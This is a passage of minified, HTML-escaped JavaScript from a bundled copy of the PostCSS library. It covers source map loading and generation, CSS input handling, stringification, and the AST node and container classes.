`),this.name+&quot;: &quot;+this.message+t}};VG.exports=By;By.default=By});var FG=oe(()=&gt;{});var HG=oe((IHe,UG)=&gt;{&quot;use strict&quot;;var{SourceMapConsumer:zG,SourceMapGenerator:jG}=R1(),{existsSync:P_e,readFileSync:R_e}=FG(),{dirname:WD,join:O_e}=O1();function A_e(e){return Buffer?Buffer.from(e,&quot;base64&quot;).toString():window.atob(e)}var Ey=class{constructor(t,o){if(o.map===!1)return;this.loadAnnotation(t),this.inline=this.startWith(this.annotation,&quot;data:&quot;);let r=o.map?o.map.prev:void 0,n=this.loadMap(o.from,r);!this.mapFile&amp;&amp;o.from&amp;&amp;(this.mapFile=o.from),this.mapFile&amp;&amp;(this.root=WD(this.mapFile)),n&amp;&amp;(this.text=n)}consumer(){return this.consumerCache||(this.consumerCache=new zG(this.text)),this.consumerCache}decodeInline(t){let o=/^data:application\/json;charset=utf-?8;base64,/,r=/^data:application\/json;base64,/,n=/^data:application\/json;charset=utf-?8,/,i=/^data:application\/json,/;if(n.test(t)||i.test(t))return decodeURIComponent(t.substr(RegExp.lastMatch.length));if(o.test(t)||r.test(t))return A_e(t.substr(RegExp.lastMatch.length));let s=t.match(/data:application\/json;([^,]+),/)[1];throw new Error(&quot;Unsupported source map encoding &quot;+s)}getAnnotationURL(t){return t.replace(/^\/\*\s*# sourceMappingURL=/,&quot;&quot;).trim()}isMap(t){return typeof t!=&quot;object&quot;?!1:typeof t.mappings==&quot;string&quot;||typeof t._mappings==&quot;string&quot;||Array.isArray(t.sections)}loadAnnotation(t){let o=t.match(/\/\*\s*# sourceMappingURL=/gm);if(!o)return;let r=t.lastIndexOf(o.pop()),n=t.indexOf(&quot;*/&quot;,r);r&gt;-1&amp;&amp;n&gt;-1&amp;&amp;(this.annotation=this.getAnnotationURL(t.substring(r,n)))}loadFile(t){if(this.root=WD(t),P_e(t))return this.mapFile=t,R_e(t,&quot;utf-8&quot;).toString().trim()}loadMap(t,o){if(o===!1)return!1;if(o){if(typeof o==&quot;string&quot;)return o;if(typeof o==&quot;function&quot;){let r=o(t);if(r){let n=this.loadFile(r);if(!n)throw new Error(&quot;Unable to load previous source map: &quot;+r.toString());return n}}else{if(o instanceof zG)return jG.fromSourceMap(o).toString();if(o instanceof jG)return o.toString();if(this.isMap(o))return JSON.stringify(o);throw new Error(&quot;Unsupported previous source map format: &quot;+o.toString())}}else{if(this.inline)return this.decodeInline(this.annotation);if(this.annotation){let r=this.annotation;return t&amp;&amp;(r=O_e(WD(t),r)),this.loadFile(r)}}}startWith(t,o){return t?t.substr(0,o.length)===o:!1}withContent(){return!!(this.consumer().sourcesContent&amp;&amp;this.consumer().sourcesContent.length&gt;0)}};UG.exports=Ey;Ey.default=Ey});var ZD=oe((PHe,KG)=&gt;{&quot;use strict&quot;;var{SourceMapConsumer:L_e,SourceMapGenerator:N_e}=R1(),{fileURLToPath:GG,pathToFileURL:L1}=UD(),{isAbsolute:YD,resolve:qD}=O1(),{nanoid:M_e}=AG(),$D=HD(),WG=A1(),D_e=HG(),KD=Symbol(&quot;fromOffsetCache&quot;),V_e=!!(L_e&amp;&amp;N_e),$G=!!(qD&amp;&amp;YD),Dh=class{constructor(t,o={}){if(t===null||typeof t&gt;&quot;u&quot;||typeof t==&quot;object&quot;&amp;&amp;!t.toString)throw new Error(`PostCSS received ${t} instead of CSS string`);if(this.css=t.toString(),this.css[0]===&quot;\uFEFF&quot;||this.css[0]===&quot;\uFFFE&quot;?(this.hasBOM=!0,this.css=this.css.slice(1)):this.hasBOM=!1,o.from&amp;&amp;(!$G||/^\w+:\/\//.test(o.from)||YD(o.from)?this.file=o.from:this.file=qD(o.from)),$G&amp;&amp;V_e){let r=new D_e(this.css,o);if(r.text){this.map=r;let n=r.consumer().file;!this.file&amp;&amp;n&amp;&amp;(this.file=this.mapResolve(n))}}this.file||(this.id=&quot;&lt;input css &quot;+M_e(6)+&quot;&gt;&quot;),this.map&amp;&amp;(this.map.file=this.from)}error(t,o,r,n={}){let i,s,a;if(o&amp;&amp;typeof o==&quot;object&quot;){let u=o,d=r;if(typeof u.offset==&quot;number&quot;){let f=this.fromOffset(u.offset);o=f.line,r=f.col}else o=u.line,r=u.column;if(typeof d.offset==&quot;number&quot;){let f=this.fromOffset(d.offset);s=f.line,a=f.col}else s=d.line,a=d.column}else if(!r){let u=this.fromOffset(o);o=u.line,r=u.col}let c=this.origin(o,r,s,a);return c?i=new WG(t,c.endLine===void 0?c.line:{column:c.column,line:c.line},c.endLine===void 0?c.column:{column:c.endColumn,line:c.endLine},c.source,c.file,n.plugin):i=new WG(t,s===void 0?o:{column:r,line:o},s===void 0?r:{column:a,line:s},this.css,this.file,n.plugin),i.input={column:r,endColumn:a,endLine:s,line:o,source:this.css},this.file&amp;&amp;(L1&amp;&amp;(i.input.url=L1(this.file).toString()),i.input.file=this.file),i}fromOffset(t){let o,r;if(this[KD])r=this[KD];else{let i=this.css.split(`
`);r=new Array(i.length);let s=0;for(let a=0,c=i.length;a&lt;c;a++)r[a]=s,s+=i[a].length+1;this[KD]=r}o=r[r.length-1];let n=0;if(t&gt;=o)n=r.length-1;else{let i=r.length-2,s;for(;n&lt;i;)if(s=n+(i-n&gt;&gt;1),t&lt;r[s])i=s-1;else if(t&gt;=r[s+1])n=s+1;else{n=s;break}}return{col:t-r[n]+1,line:n+1}}mapResolve(t){return/^\w+:\/\//.test(t)?t:qD(this.map.consumer().sourceRoot||this.map.root||&quot;.&quot;,t)}origin(t,o,r,n){if(!this.map)return!1;let i=this.map.consumer(),s=i.originalPositionFor({column:o,line:t});if(!s.source)return!1;let a;typeof r==&quot;number&quot;&amp;&amp;(a=i.originalPositionFor({column:n,line:r}));let c;YD(s.source)?c=L1(s.source):c=new URL(s.source,this.map.consumer().sourceRoot||L1(this.map.mapFile));let u={column:s.column,endColumn:a&amp;&amp;a.column,endLine:a&amp;&amp;a.line,line:s.line,url:c.toString()};if(c.protocol===&quot;file:&quot;)if(GG)u.file=GG(c);else throw new Error(&quot;file: protocol is not available in this PostCSS build&quot;);let d=i.sourceContentFor(s.source);return d&amp;&amp;(u.source=d),u}toJSON(){let t={};for(let o of[&quot;hasBOM&quot;,&quot;css&quot;,&quot;file&quot;,&quot;id&quot;])this[o]!=null&amp;&amp;(t[o]=this[o]);return this.map&amp;&amp;(t.map={...this.map},t.map.consumerCache&amp;&amp;(t.map.consumerCache=void 0)),t}get from(){return this.file||this.id}};KG.exports=Dh;Dh.default=Dh;$D&amp;&amp;$D.registerInput&amp;&amp;$D.registerInput(Dh)});var QD=oe((RHe,JG)=&gt;{&quot;use strict&quot;;var{SourceMapConsumer:qG,SourceMapGenerator:N1}=R1(),{dirname:M1,relative:ZG,resolve:XG,sep:QG}=O1(),{pathToFileURL:YG}=UD(),F_e=ZD(),z_e=!!(qG&amp;&amp;N1),j_e=!!(M1&amp;&amp;XG&amp;&amp;ZG&amp;&amp;QG),XD=class{constructor(t,o,r,n){this.stringify=t,this.mapOpts=r.map||{},this.root=o,this.opts=r,this.css=n,this.originalCSS=n,this.usesFileUrls=!this.mapOpts.from&amp;&amp;this.mapOpts.absolute,this.memoizedFileURLs=new Map,this.memoizedPaths=new Map,this.memoizedURLs=new Map}addAnnotation(){let t;this.isInline()?t=&quot;data:application/json;base64,&quot;+this.toBase64(this.map.toString()):typeof this.mapOpts.annotation==&quot;string&quot;?t=this.mapOpts.annotation:typeof this.mapOpts.annotation==&quot;function&quot;?t=this.mapOpts.annotation(this.opts.to,this.root):t=this.outputFile()+&quot;.map&quot;;let o=`
`;this.css.includes(`\r
`)&amp;&amp;(o=`\r
`),this.css+=o+&quot;/*# sourceMappingURL=&quot;+t+&quot; */&quot;}applyPrevMaps(){for(let t of this.previous()){let o=this.toUrl(this.path(t.file)),r=t.root||M1(t.file),n;this.mapOpts.sourcesContent===!1?(n=new qG(t.text),n.sourcesContent&amp;&amp;(n.sourcesContent=null)):n=t.consumer(),this.map.applySourceMap(n,o,this.toUrl(this.path(r)))}}clearAnnotation(){if(this.mapOpts.annotation!==!1)if(this.root){let t;for(let o=this.root.nodes.length-1;o&gt;=0;o--)t=this.root.nodes[o],t.type===&quot;comment&quot;&amp;&amp;t.text.indexOf(&quot;# sourceMappingURL=&quot;)===0&amp;&amp;this.root.removeChild(o)}else this.css&amp;&amp;(this.css=this.css.replace(/\n*?\/\*#[\S\s]*?\*\/$/gm,&quot;&quot;))}generate(){if(this.clearAnnotation(),j_e&amp;&amp;z_e&amp;&amp;this.isMap())return this.generateMap();{let t=&quot;&quot;;return this.stringify(this.root,o=&gt;{t+=o}),[t]}}generateMap(){if(this.root)this.generateString();else if(this.previous().length===1){let t=this.previous()[0].consumer();t.file=this.outputFile(),this.map=N1.fromSourceMap(t,{ignoreInvalidMapping:!0})}else this.map=new N1({file:this.outputFile(),ignoreInvalidMapping:!0}),this.map.addMapping({generated:{column:0,line:1},original:{column:0,line:1},source:this.opts.from?this.toUrl(this.path(this.opts.from)):&quot;&lt;no source&gt;&quot;});return this.isSourcesContent()&amp;&amp;this.setSourcesContent(),this.root&amp;&amp;this.previous().length&gt;0&amp;&amp;this.applyPrevMaps(),this.isAnnotation()&amp;&amp;this.addAnnotation(),this.isInline()?[this.css]:[this.css,this.map]}generateString(){this.css=&quot;&quot;,this.map=new N1({file:this.outputFile(),ignoreInvalidMapping:!0});let t=1,o=1,r=&quot;&lt;no source&gt;&quot;,n={generated:{column:0,line:0},original:{column:0,line:0},source:&quot;&quot;},i,s;this.stringify(this.root,(a,c,u)=&gt;{if(this.css+=a,c&amp;&amp;u!==&quot;end&quot;&amp;&amp;(n.generated.line=t,n.generated.column=o-1,c.source&amp;&amp;c.source.start?(n.source=this.sourcePath(c),n.original.line=c.source.start.line,n.original.column=c.source.start.column-1,this.map.addMapping(n)):(n.source=r,n.original.line=1,n.original.column=0,this.map.addMapping(n))),i=a.match(/\n/g),i?(t+=i.length,s=a.lastIndexOf(`
`),o=a.length-s):o+=a.length,c&amp;&amp;u!==&quot;start&quot;){let d=c.parent||{raws:{}};(!(c.type===&quot;decl&quot;||c.type===&quot;atrule&quot;&amp;&amp;!c.nodes)||c!==d.last||d.raws.semicolon)&amp;&amp;(c.source&amp;&amp;c.source.end?(n.source=this.sourcePath(c),n.original.line=c.source.end.line,n.original.column=c.source.end.column-1,n.generated.line=t,n.generated.column=o-2,this.map.addMapping(n)):(n.source=r,n.original.line=1,n.original.column=0,n.generated.line=t,n.generated.column=o-1,this.map.addMapping(n)))}})}isAnnotation(){return this.isInline()?!0:typeof this.mapOpts.annotation&lt;&quot;u&quot;?this.mapOpts.annotation:this.previous().length?this.previous().some(t=&gt;t.annotation):!0}isInline(){if(typeof this.mapOpts.inline&lt;&quot;u&quot;)return this.mapOpts.inline;let t=this.mapOpts.annotation;return typeof t&lt;&quot;u&quot;&amp;&amp;t!==!0?!1:this.previous().length?this.previous().some(o=&gt;o.inline):!0}isMap(){return typeof this.opts.map&lt;&quot;u&quot;?!!this.opts.map:this.previous().length&gt;0}isSourcesContent(){return typeof this.mapOpts.sourcesContent&lt;&quot;u&quot;?this.mapOpts.sourcesContent:this.previous().length?this.previous().some(t=&gt;t.withContent()):!0}outputFile(){return this.opts.to?this.path(this.opts.to):this.opts.from?this.path(this.opts.from):&quot;to.css&quot;}path(t){if(this.mapOpts.absolute||t.charCodeAt(0)===60||/^\w+:\/\//.test(t))return t;let o=this.memoizedPaths.get(t);if(o)return o;let r=this.opts.to?M1(this.opts.to):&quot;.&quot;;typeof this.mapOpts.annotation==&quot;string&quot;&amp;&amp;(r=M1(XG(r,this.mapOpts.annotation)));let n=ZG(r,t);return this.memoizedPaths.set(t,n),n}previous(){if(!this.previousMaps)if(this.previousMaps=[],this.root)this.root.walk(t=&gt;{if(t.source&amp;&amp;t.source.input.map){let o=t.source.input.map;this.previousMaps.includes(o)||this.previousMaps.push(o)}});else{let t=new F_e(this.originalCSS,this.opts);t.map&amp;&amp;this.previousMaps.push(t.map)}return this.previousMaps}setSourcesContent(){let t={};if(this.root)this.root.walk(o=&gt;{if(o.source){let r=o.source.input.from;if(r&amp;&amp;!t[r]){t[r]=!0;let n=this.usesFileUrls?this.toFileUrl(r):this.toUrl(this.path(r));this.map.setSourceContent(n,o.source.input.css)}}});else if(this.css){let o=this.opts.from?this.toUrl(this.path(this.opts.from)):&quot;&lt;no source&gt;&quot;;this.map.setSourceContent(o,this.css)}}sourcePath(t){return this.mapOpts.from?this.toUrl(this.mapOpts.from):this.usesFileUrls?this.toFileUrl(t.source.input.from):this.toUrl(this.path(t.source.input.from))}toBase64(t){return Buffer?Buffer.from(t).toString(&quot;base64&quot;):window.btoa(unescape(encodeURIComponent(t)))}toFileUrl(t){let o=this.memoizedFileURLs.get(t);if(o)return o;if(YG){let r=YG(t).toString();return this.memoizedFileURLs.set(t,r),r}else throw new Error(&quot;`map.absolute` option is not available in this PostCSS build&quot;)}toUrl(t){let o=this.memoizedURLs.get(t);if(o)return o;QG===&quot;\\&quot;&amp;&amp;(t=t.replace(/\\/g,&quot;/&quot;));let r=encodeURI(t).replace(/[#?]/g,encodeURIComponent);return this.memoizedURLs.set(t,r),r}};JG.exports=XD});var JD=oe((OHe,tW)=&gt;{&quot;use strict&quot;;var eW={after:`
`,beforeClose:`
`,beforeComment:`
`,beforeDecl:`
`,beforeOpen:&quot; &quot;,beforeRule:`
`,colon:&quot;: &quot;,commentLeft:&quot; &quot;,commentRight:&quot; &quot;,emptyBody:&quot;&quot;,indent:&quot;    &quot;,semicolon:!1};function U_e(e){return e[0].toUpperCase()+e.slice(1)}var Ty=class{constructor(t){this.builder=t}atrule(t,o){let r=&quot;@&quot;+t.name,n=t.params?this.rawValue(t,&quot;params&quot;):&quot;&quot;;if(typeof t.raws.afterName&lt;&quot;u&quot;?r+=t.raws.afterName:n&amp;&amp;(r+=&quot; &quot;),t.nodes)this.block(t,r+n);else{let i=(t.raws.between||&quot;&quot;)+(o?&quot;;&quot;:&quot;&quot;);this.builder(r+n+i,t)}}beforeAfter(t,o){let r;t.type===&quot;decl&quot;?r=this.raw(t,null,&quot;beforeDecl&quot;):t.type===&quot;comment&quot;?r=this.raw(t,null,&quot;beforeComment&quot;):o===&quot;before&quot;?r=this.raw(t,null,&quot;beforeRule&quot;):r=this.raw(t,null,&quot;beforeClose&quot;);let n=t.parent,i=0;for(;n&amp;&amp;n.type!==&quot;root&quot;;)i+=1,n=n.parent;if(r.includes(`
`)){let s=this.raw(t,null,&quot;indent&quot;);if(s.length)for(let a=0;a&lt;i;a++)r+=s}return r}block(t,o){let r=this.raw(t,&quot;between&quot;,&quot;beforeOpen&quot;);this.builder(o+r+&quot;{&quot;,t,&quot;start&quot;);let n;t.nodes&amp;&amp;t.nodes.length?(this.body(t),n=this.raw(t,&quot;after&quot;)):n=this.raw(t,&quot;after&quot;,&quot;emptyBody&quot;),n&amp;&amp;this.builder(n),this.builder(&quot;}&quot;,t,&quot;end&quot;)}body(t){let o=t.nodes.length-1;for(;o&gt;0&amp;&amp;t.nodes[o].type===&quot;comment&quot;;)o-=1;let r=this.raw(t,&quot;semicolon&quot;);for(let n=0;n&lt;t.nodes.length;n++){let i=t.nodes[n],s=this.raw(i,&quot;before&quot;);s&amp;&amp;this.builder(s),this.stringify(i,o!==n||r)}}comment(t){let o=this.raw(t,&quot;left&quot;,&quot;commentLeft&quot;),r=this.raw(t,&quot;right&quot;,&quot;commentRight&quot;);this.builder(&quot;/*&quot;+o+t.text+r+&quot;*/&quot;,t)}decl(t,o){let r=this.raw(t,&quot;between&quot;,&quot;colon&quot;),n=t.prop+r+this.rawValue(t,&quot;value&quot;);t.important&amp;&amp;(n+=t.raws.important||&quot; !important&quot;),o&amp;&amp;(n+=&quot;;&quot;),this.builder(n,t)}document(t){this.body(t)}raw(t,o,r){let n;if(r||(r=o),o&amp;&amp;(n=t.raws[o],typeof n&lt;&quot;u&quot;))return n;let i=t.parent;if(r===&quot;before&quot;&amp;&amp;(!i||i.type===&quot;root&quot;&amp;&amp;i.first===t||i&amp;&amp;i.type===&quot;document&quot;))return&quot;&quot;;if(!i)return eW[r];let s=t.root();if(s.rawCache||(s.rawCache={}),typeof s.rawCache[r]&lt;&quot;u&quot;)return s.rawCache[r];if(r===&quot;before&quot;||r===&quot;after&quot;)return this.beforeAfter(t,r);{let a=&quot;raw&quot;+U_e(r);this[a]?n=this[a](s,t):s.walk(c=&gt;{if(n=c.raws[o],typeof n&lt;&quot;u&quot;)return!1})}return typeof n&gt;&quot;u&quot;&amp;&amp;(n=eW[r]),s.rawCache[r]=n,n}rawBeforeClose(t){let o;return t.walk(r=&gt;{if(r.nodes&amp;&amp;r.nodes.length&gt;0&amp;&amp;typeof r.raws.after&lt;&quot;u&quot;)return o=r.raws.after,o.includes(`
`)&amp;&amp;(o=o.replace(/[^\n]+$/,&quot;&quot;)),!1}),o&amp;&amp;(o=o.replace(/\S/g,&quot;&quot;)),o}rawBeforeComment(t,o){let r;return t.walkComments(n=&gt;{if(typeof n.raws.before&lt;&quot;u&quot;)return r=n.raws.before,r.includes(`
`)&amp;&amp;(r=r.replace(/[^\n]+$/,&quot;&quot;)),!1}),typeof r&gt;&quot;u&quot;?r=this.raw(o,null,&quot;beforeDecl&quot;):r&amp;&amp;(r=r.replace(/\S/g,&quot;&quot;)),r}rawBeforeDecl(t,o){let r;return t.walkDecls(n=&gt;{if(typeof n.raws.before&lt;&quot;u&quot;)return r=n.raws.before,r.includes(`
`)&amp;&amp;(r=r.replace(/[^\n]+$/,&quot;&quot;)),!1}),typeof r&gt;&quot;u&quot;?r=this.raw(o,null,&quot;beforeRule&quot;):r&amp;&amp;(r=r.replace(/\S/g,&quot;&quot;)),r}rawBeforeOpen(t){let o;return t.walk(r=&gt;{if(r.type!==&quot;decl&quot;&amp;&amp;(o=r.raws.between,typeof o&lt;&quot;u&quot;))return!1}),o}rawBeforeRule(t){let o;return t.walk(r=&gt;{if(r.nodes&amp;&amp;(r.parent!==t||t.first!==r)&amp;&amp;typeof r.raws.before&lt;&quot;u&quot;)return o=r.raws.before,o.includes(`
`)&amp;&amp;(o=o.replace(/[^\n]+$/,&quot;&quot;)),!1}),o&amp;&amp;(o=o.replace(/\S/g,&quot;&quot;)),o}rawColon(t){let o;return t.walkDecls(r=&gt;{if(typeof r.raws.between&lt;&quot;u&quot;)return o=r.raws.between.replace(/[^\s:]/g,&quot;&quot;),!1}),o}rawEmptyBody(t){let o;return t.walk(r=&gt;{if(r.nodes&amp;&amp;r.nodes.length===0&amp;&amp;(o=r.raws.after,typeof o&lt;&quot;u&quot;))return!1}),o}rawIndent(t){if(t.raws.indent)return t.raws.indent;let o;return t.walk(r=&gt;{let n=r.parent;if(n&amp;&amp;n!==t&amp;&amp;n.parent&amp;&amp;n.parent===t&amp;&amp;typeof r.raws.before&lt;&quot;u&quot;){let i=r.raws.before.split(`
`);return o=i[i.length-1],o=o.replace(/\S/g,&quot;&quot;),!1}}),o}rawSemicolon(t){let o;return t.walk(r=&gt;{if(r.nodes&amp;&amp;r.nodes.length&amp;&amp;r.last.type===&quot;decl&quot;&amp;&amp;(o=r.raws.semicolon,typeof o&lt;&quot;u&quot;))return!1}),o}rawValue(t,o){let r=t[o],n=t.raws[o];return n&amp;&amp;n.value===r?n.raw:r}root(t){this.body(t),t.raws.after&amp;&amp;this.builder(t.raws.after)}rule(t){this.block(t,this.rawValue(t,&quot;selector&quot;)),t.raws.ownSemicolon&amp;&amp;this.builder(t.raws.ownSemicolon,t,&quot;end&quot;)}stringify(t,o){if(!this[t.type])throw new Error(&quot;Unknown AST node type &quot;+t.type+&quot;. Maybe you need to change PostCSS stringifier.&quot;);this[t.type](t,o)}};tW.exports=Ty;Ty.default=Ty});var D1=oe((AHe,oW)=&gt;{&quot;use strict&quot;;var H_e=JD();function e5(e,t){new H_e(t).stringify(e)}oW.exports=e5;e5.default=e5});var t5=oe((LHe,nW)=&gt;{&quot;use strict&quot;;var rW={};nW.exports=function(t){rW[t]||(rW[t]=!0,typeof console&lt;&quot;u&quot;&amp;&amp;console.warn&amp;&amp;console.warn(t))}});var V1=oe((NHe,o5)=&gt;{&quot;use strict&quot;;o5.exports.isClean=Symbol(&quot;isClean&quot;);o5.exports.my=Symbol(&quot;my&quot;)});var z1=oe((MHe,iW)=&gt;{&quot;use strict&quot;;var{isClean:F1,my:G_e}=V1(),W_e=A1(),$_e=JD(),K_e=D1();function r5(e,t){let o=new e.constructor;for(let r in e){if(!Object.prototype.hasOwnProperty.call(e,r)||r===&quot;proxyCache&quot;)continue;let n=e[r],i=typeof n;r===&quot;parent&quot;&amp;&amp;i===&quot;object&quot;?t&amp;&amp;(o[r]=t):r===&quot;source&quot;?o[r]=n:Array.isArray(n)?o[r]=n.map(s=&gt;r5(s,o)):(i===&quot;object&quot;&amp;&amp;n!==null&amp;&amp;(n=r5(n)),o[r]=n)}return o}var Iy=class{constructor(t={}){this.raws={},this[F1]=!1,this[G_e]=!0;for(let o in t)if(o===&quot;nodes&quot;){this.nodes=[];for(let r of t[o])typeof r.clone==&quot;function&quot;?this.append(r.clone()):this.append(r)}else this[o]=t[o]}addToError(t){if(t.postcssNode=this,t.stack&amp;&amp;this.source&amp;&amp;/\n\s{4}at /.test(t.stack)){let o=this.source;t.stack=t.stack.replace(/\n\s{4}at /,`$&amp;${o.input.from}:${o.start.line}:${o.start.column}$&amp;`)}return t}after(t){return this.parent.insertAfter(this,t),this}assign(t={}){for(let o in t)this[o]=t[o];return this}before(t){return this.parent.insertBefore(this,t),this}cleanRaws(t){delete this.raws.before,delete this.raws.after,t||delete this.raws.between}clone(t={}){let o=r5(this);for(let r in t)o[r]=t[r];return o}cloneAfter(t={}){let o=this.clone(t);return this.parent.insertAfter(this,o),o}cloneBefore(t={}){let o=this.clone(t);return this.parent.insertBefore(this,o),o}error(t,o={}){if(this.source){let{end:r,start:n}=this.rangeBy(o);return this.source.input.error(t,{column:n.column,line:n.line},{column:r.column,line:r.line},o)}return new W_e(t)}getProxyProcessor(){return{get(t,o){return o===&quot;proxyOf&quot;?t:o===&quot;root&quot;?()=&gt;t.root().toProxy():t[o]},set(t,o,r){return t[o]===r||(t[o]=r,(o===&quot;prop&quot;||o===&quot;value&quot;||o===&quot;name&quot;||o===&quot;params&quot;||o===&quot;important&quot;||o===&quot;text&quot;)&amp;&amp;t.markDirty()),!0}}}markDirty(){if(this[F1]){this[F1]=!1;let t=this;for(;t=t.parent;)t[F1]=!1}}next(){if(!this.parent)return;let t=this.parent.index(this);return this.parent.nodes[t+1]}positionBy(t,o){let r=this.source.start;if(t.index)r=this.positionInside(t.index,o);else if(t.word){o=this.toString();let n=o.indexOf(t.word);n!==-1&amp;&amp;(r=this.positionInside(n,o))}return r}positionInside(t,o){let r=o||this.toString(),n=this.source.start.column,i=this.source.start.line;for(let s=0;s&lt;t;s++)r[s]===`
`?(n=1,i+=1):n+=1;return{column:n,line:i}}prev(){if(!this.parent)return;let t=this.parent.index(this);return this.parent.nodes[t-1]}rangeBy(t){let o={column:this.source.start.column,line:this.source.start.line},r=this.source.end?{column:this.source.end.column+1,line:this.source.end.line}:{column:o.column+1,line:o.line};if(t.word){let n=this.toString(),i=n.indexOf(t.word);i!==-1&amp;&amp;(o=this.positionInside(i,n),r=this.positionInside(i+t.word.length,n))}else t.start?o={column:t.start.column,line:t.start.line}:t.index&amp;&amp;(o=this.positionInside(t.index)),t.end?r={column:t.end.column,line:t.end.line}:typeof t.endIndex==&quot;number&quot;?r=this.positionInside(t.endIndex):t.index&amp;&amp;(r=this.positionInside(t.index+1));return(r.line&lt;o.line||r.line===o.line&amp;&amp;r.column&lt;=o.column)&amp;&amp;(r={column:o.column+1,line:o.line}),{end:r,start:o}}raw(t,o){return new $_e().raw(this,t,o)}remove(){return this.parent&amp;&amp;this.parent.removeChild(this),this.parent=void 0,this}replaceWith(...t){if(this.parent){let o=this,r=!1;for(let n of t)n===this?r=!0:r?(this.parent.insertAfter(o,n),o=n):this.parent.insertBefore(o,n);r||this.remove()}return this}root(){let t=this;for(;t.parent&amp;&amp;t.parent.type!==&quot;document&quot;;)t=t.parent;return t}toJSON(t,o){let r={},n=o==null;o=o||new Map;let i=0;for(let s in this){if(!Object.prototype.hasOwnProperty.call(this,s)||s===&quot;parent&quot;||s===&quot;proxyCache&quot;)continue;let a=this[s];if(Array.isArray(a))r[s]=a.map(c=&gt;typeof c==&quot;object&quot;&amp;&amp;c.toJSON?c.toJSON(null,o):c);else if(typeof a==&quot;object&quot;&amp;&amp;a.toJSON)r[s]=a.toJSON(null,o);else if(s===&quot;source&quot;){let c=o.get(a.input);c==null&amp;&amp;(c=i,o.set(a.input,i),i++),r[s]={end:a.end,inputId:c,start:a.start}}else r[s]=a}return n&amp;&amp;(r.inputs=[...o.keys()].map(s=&gt;s.toJSON())),r}toProxy(){return this.proxyCache||(this.proxyCache=new Proxy(this,this.getProxyProcessor())),this.proxyCache}toString(t=K_e){t.stringify&amp;&amp;(t=t.stringify);let o=&quot;&quot;;return t(this,r=&gt;{o+=r}),o}warn(t,o,r){let n={node:this};for(let i in r)n[i]=r[i];return t.warn(o,n)}get proxyOf(){return this}};iW.exports=Iy;Iy.default=Iy});var n5=oe((DHe,sW)=&gt;{&quot;use strict&quot;;var Y_e=z1(),Py=class extends Y_e{constructor(t){t&amp;&amp;typeof t.value&lt;&quot;u&quot;&amp;&amp;typeof t.value!=&quot;string&quot;&amp;&amp;(t={...t,value:String(t.value)}),super(t),this.type=&quot;decl&quot;}get variable(){return this.prop.startsWith(&quot;--&quot;)||this.prop[0]===&quot;$&quot;}};sW.exports=Py;Py.default=Py});var i5=oe((VHe,aW)=&gt;{&quot;use strict&quot;;var q_e=z1(),Ry=class extends q_e{constructor(t){super(t),this.type=&quot;comment&quot;}};aW.exports=Ry;Ry.default=Ry});var rm=oe((FHe,gW)=&gt;{&quot;use strict&quot;;var{isClean:lW,my:cW}=V1(),uW=n5(),dW=i5(),Z_e=z1(),fW,s5,a5,mW;function pW(e){return e.map(t=&gt;(t.nodes&amp;&amp;(t.nodes=pW(t.nodes)),delete t.source,t))}function hW(e){if(e[lW]=!1,e.proxyOf.nodes)for(let t of e.proxyOf.nodes)hW(t)}var Os=class e extends Z_e{append(...t){for(let o of t){let r=this.normalize(o,this.last);for(let n of r)this.proxyOf.nodes.push(n)}return this.markDirty(),this}cleanRaws(t){if(super.cleanRaws(t),this.nodes)for(let o of this.nodes)o.cleanRaws(t)}each(t){if(!this.proxyOf.nodes)return;let o=this.getIterator(),r,n;for(;this.indexes[o]&lt;this.proxyOf.nodes.length&amp;&amp;(r=this.indexes[o],n=t(this.proxyOf.nodes[r],r),n!==!1);)this.indexes[o]+=1;return delete this.indexes[o],n}every(t){return this.nodes.every(t)}getIterator(){this.lastEach||(this.lastEach=0),this.indexes||(this.indexes={}),this.lastEach+=1;let t=this.lastEach;return this.indexes[t]=0,t}getProxyProcessor(){return{get(t,o){return o===&quot;proxyOf&quot;?t:t[o]?o===&quot;each&quot;||typeof o==&quot;string&quot;&amp;&amp;o.startsWith(&quot;walk&quot;)?(...r)=&gt;t[o](...r.map(n=&gt;typeof n==&quot;function&quot;?(i,s)=&gt;n(i.toProxy(),s):n)):o===&quot;every&quot;||o===&quot;some&quot;?r=&gt;t[o]((n,...i)=&gt;r(n.toProxy(),...i)):o===&quot;root&quot;?()=&gt;t.root().toProxy():o===&quot;nodes&quot;?t.nodes.map(r=&gt;r.toProxy()):o===&quot;first&quot;||o===&quot;last&quot;?t[o].toProxy():t[o]:t[o]},set(t,o,r){return t[o]===r||(t[o]=r,(o===&quot;name&quot;||o===&quot;params&quot;||o===&quot;selector&quot;)&amp;&amp;t.markDirty()),!0}}}index(t){return typeof t==&quot;number&quot;?t:(t.proxyOf&amp;&amp;(t=t.proxyOf),this.proxyOf.nodes.indexOf(t))}insertAfter(t,o){let r=this.index(t),n=this.normalize(o,this.proxyOf.nodes[r]).reverse();r=this.index(t);for(let s of n)this.proxyOf.nodes.splice(r+1,0,s);let i;for(let s in this.indexes)i=this.indexes[s],r&lt;i&amp;&amp;(this.indexes[s]=i+n.length);return this.markDirty(),this}insertBefore(t,o){let r=this.index(t),n=r===0?&quot;prepend&quot;:!1,i=this.normalize(o,this.proxyOf.nodes[r],n).reverse();r=this.index(t);for(let a of i)this.proxyOf.nodes.splice(r,0,a);let s;for(let a in this.indexes)s=this.indexes[a],r&lt;=s&amp;&amp;(this.indexes[a]=s+i.length);return this.markDirty(),this}normalize(t,o){if(typeof t==&quot;string&quot;)t=pW(fW(t).nodes);else if(typeof t&gt;&quot;u&quot;)t=[];else if(Array.isArray(t)){t=t.slice(0);for(let n of t)n.parent&amp;&amp;n.parent.removeChild(n,&quot;ignore&quot;)}else if(t.type===&quot;root&quot;&amp;&amp;this.type!==&quot;document&quot;){t=t.nodes.slice(0);for(let n of t)n.parent&amp;&amp;n.parent.removeChild(n,&quot;ignore&quot;)}else if(t.type)t=[t];else if(t.prop){if(typeof t.value&gt;&quot;u&quot;)throw new Error(&quot;Value field is missed in node creation&quot;);typeof t.value!=&quot;string&quot;&amp;&amp;(t.value=String(t.value)),t=[new uW(t)]}else if(t.selector)t=[new s5(t)];else if(t.name)t=[new a5(t)];else if(t.text)t=[new dW(t)];else throw new Error(&quot;Unknown node type in node creation&quot;);return t.map(n=&gt;(n[cW]||e.rebuild(n),n=n.proxyOf,n.parent&amp;&amp;n.parent.removeChild(n),n[lW]&amp;&amp;hW(n),typeof n.raws.before&gt;&quot;u&quot;&amp;&amp;o&amp;&amp;typeof 